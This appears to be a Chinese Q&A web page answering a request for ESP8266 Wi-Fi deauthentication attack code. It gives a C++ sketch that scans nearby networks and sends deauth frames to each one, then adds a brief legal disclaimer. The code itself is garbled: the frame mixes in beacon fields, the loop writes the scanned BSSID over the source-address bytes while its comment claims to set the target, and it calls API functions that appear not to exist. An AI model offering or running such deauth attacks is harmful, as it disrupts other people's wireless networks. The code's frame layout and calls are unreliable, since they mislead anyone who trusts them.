esp8266的Deauth代码
时间: 2023-07-09 16:37:49 浏览: 61
以下是使用ESP8266实现Deauth攻击的代码示例:
```C++
#include <ESP8266WiFi.h>
void setup() {
delay(1000);
WiFi.mode(WIFI_STA); //设置为客户端模式
}
void loop() {
WiFi.disconnect(); //断开与当前WiFi网络的连接
delay(100);
WiFi.scanNetworks(); //扫描周围的WiFi网络
delay(100);
for (int i = 0; i < WiFi.scanComplete(); i++) {
//获取周围WiFi网络的BSSID和SSID
String ssid = WiFi.SSID(i);
String bssid = WiFi.BSSIDstr(i);
//构建Deauth数据包
uint8_t packet[26] = {
0xC0, 0x00, //类型、子类型
0x00, 0x00, //时序
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //目标MAC地址
0x84, 0x0D, 0x8E, 0x89, 0x3D, 0x70, //源MAC地址
0x00, 0x00, //碎片序列号
0x00, 0x00, //Beacon时间戳
0x0A, 0x00, //Beacon间隔时间
0x00, 0x01, //Capability信息
0x00, 0x00 //RSN信息
};
//将目标MAC地址替换为当前扫描到的WiFi网络的BSSID
for (int j = 0; j < 6; j++) {
packet[j + 10] = strtol(bssid.substring(j * 3, j * 3 + 2).c_str(), NULL, 16);
}
//发送Deauth数据包
WiFi.rawChannel(10); //切换到信道10
delay(100);
WiFi.sendPacket(packet, 26); //发送Deauth数据包
delay(100);
}
WiFi.scanDelete(); //删除扫描结果
delay(1000);
}
```
该代码会循环执行以下操作:
1. 断开与当前WiFi网络的连接;
2. 扫描周围的WiFi网络;
3. 对于每个扫描到的WiFi网络,构建一个Deauth数据包,并将目标MAC地址替换为该WiFi网络的BSSID;
4. 在信道10上发送Deauth数据包。
需要注意的是,Deauth攻击可能会违反法律法规,请勿将此代码用于非法用途。